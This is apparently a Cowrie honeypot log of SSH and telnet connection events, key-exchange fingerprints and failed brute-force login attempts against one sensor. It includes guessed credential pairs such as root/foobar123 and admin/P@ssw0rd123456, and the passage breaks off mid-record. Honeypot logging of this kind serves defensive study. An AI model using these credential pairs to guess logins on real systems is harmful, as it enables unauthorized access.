{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:51.766241Z","src_ip":"202.125.94.71","session":"fbf26059d5c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"redhat","message":"login attempt [test/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:52.853082Z","src_ip":"202.125.94.71","session":"fbf26059d5c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:54.122872Z","src_ip":"202.125.94.71","session":"fbf26059d5c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37822,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f45136b7ba0","protocol":"telnet","message":"New connection: 137.184.155.248:37822 (10.17.0.5:23) [session: 4f45136b7ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:55.929417Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":40728,"dst_ip":"159.203.135.109","dst_port":22,"session":"16539a9c7600","protocol":"ssh","message":"New connection: 103.86.180.10:40728 (159.203.135.109:22) [session: 16539a9c7600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:58.606795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:58.610943Z","src_ip":"103.86.180.10","session":"16539a9c7600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:58.807587Z","src_ip":"103.86.180.10","session":"16539a9c7600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password01","message":"login attempt [user/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:59.626710Z","src_ip":"103.86.180.10","session":"16539a9c7600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:00.826306Z","src_ip":"103.86.180.10","session":"16539a9c7600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.057711362838745,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:02.154339Z","src_ip":"187.188.181.103","session":"ec03cb95cd53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.04211926460266,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:05.632604Z","src_ip":"137.184.155.248","session":"16a06a651790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34560,"dst_ip":"10.17.0.5","dst_port":23,"session":"dce7ce16bf6d","protocol":"telnet","message":"New connection: 137.184.155.248:34560 (10.17.0.5:23) [session: dce7ce16bf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:14.958968Z"}
{"eventid":"cowrie.session.closed","duration":48.30333995819092,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:15.238500Z","src_ip":"137.184.155.248","session":"bcddabe55077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":55292,"dst_ip":"10.17.0.5","dst_port":22,"session":"114e5de785c1","protocol":"ssh","message":"New connection: 203.90.110.186:55292 (10.17.0.5:22) [session: 114e5de785c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:19.904743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:19.908872Z","src_ip":"203.90.110.186","session":"114e5de785c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:20.136225Z","src_ip":"203.90.110.186","session":"114e5de785c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.02377963066101,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:21.672360Z","src_ip":"137.184.155.248","session":"12b6134c2f46","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123321","message":"login attempt [user1/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:21.736667Z","src_ip":"203.90.110.186","session":"114e5de785c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.01164937019348,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:22.838970Z","src_ip":"137.184.155.248","session":"90d9312db4b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:22.962680Z","src_ip":"203.90.110.186","session":"114e5de785c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.29762005805969,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:32.717919Z","src_ip":"137.184.155.248","session":"0f9c62efc431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00098943710327,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:36.278548Z","src_ip":"148.230.134.28","session":"c757f30ba70e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":56266,"dst_ip":"10.17.0.5","dst_port":22,"session":"28ab77461919","protocol":"ssh","message":"New connection: 186.4.240.226:56266 (10.17.0.5:22) [session: 28ab77461919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:40.127923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:40.132057Z","src_ip":"186.4.240.226","session":"28ab77461919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:40.218860Z","src_ip":"186.4.240.226","session":"28ab77461919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":52950,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30749cffbe3","protocol":"ssh","message":"New connection: 41.86.34.139:52950 (10.17.0.5:22) [session: f30749cffbe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:40.461882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:40.465527Z","src_ip":"41.86.34.139","session":"f30749cffbe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"foobar123","message":"login attempt [root/foobar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:40.597898Z","src_ip":"186.4.240.226","session":"28ab77461919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:40.672261Z","src_ip":"41.86.34.139","session":"f30749cffbe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00148272514343,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:41.334837Z","src_ip":"148.230.134.28","session":"2af96c6487f1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"12345","message":"login attempt [testuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:41.531203Z","src_ip":"41.86.34.139","session":"f30749cffbe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:41.688848Z","src_ip":"186.4.240.226","session":"28ab77461919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:42.743586Z","src_ip":"41.86.34.139","session":"f30749cffbe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51240,"dst_ip":"10.17.0.5","dst_port":23,"session":"f57d2d429a6b","protocol":"telnet","message":"New connection: 137.184.155.248:51240 (10.17.0.5:23) [session: f57d2d429a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:42.784112Z"}
{"eventid":"cowrie.session.closed","duration":48.273486375808716,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:44.202717Z","src_ip":"137.184.155.248","session":"4f45136b7ba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51250,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1255120f1ac","protocol":"telnet","message":"New connection: 137.184.155.248:51250 (10.17.0.5:23) [session: b1255120f1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:44.307224Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.252","src_port":44517,"dst_ip":"159.203.135.109","dst_port":22,"session":"69548c4d81d1","protocol":"ssh","message":"New connection: 45.79.207.252:44517 (159.203.135.109:22) [session: 69548c4d81d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:44.329476Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:44.491987Z","src_ip":"45.79.207.252","session":"69548c4d81d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":46940,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab974653f735","protocol":"ssh","message":"New connection: 72.253.251.7:46940 (159.203.135.109:22) [session: ab974653f735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:44.958684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:44.963310Z","src_ip":"72.253.251.7","session":"ab974653f735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:45.081704Z","src_ip":"72.253.251.7","session":"ab974653f735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd123456","message":"login attempt [admin/P@ssw0rd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:45.585582Z","src_ip":"72.253.251.7","session":"ab974653f735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193047523499,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:45.686222Z","src_ip":"148.230.134.28","session":"2b45af7f5ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:46.705612Z","src_ip":"72.253.251.7","session":"ab974653f735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00138688087463,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:47.736539Z","src_ip":"148.230.134.28","session":"9b227124483e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.021427154541016,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:47.805447Z","src_ip":"137.184.155.248","session":"f57d2d429a6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.164.217.74","src_port":41631,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fa6a9c2e53e","protocol":"ssh","message":"New connection: 69.164.217.74:41631 (10.17.0.5:22) [session: 2fa6a9c2e53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:48.778354Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:49.850794Z","src_ip":"69.164.217.74","session":"2fa6a9c2e53e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":46064,"dst_ip":"159.203.135.109","dst_port":22,"session":"77733adf8168","protocol":"ssh","message":"New connection: 202.125.94.71:46064 (159.203.135.109:22) [session: 77733adf8168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:50.714535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:33:50.719229Z","src_ip":"202.125.94.71","session":"77733adf8168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 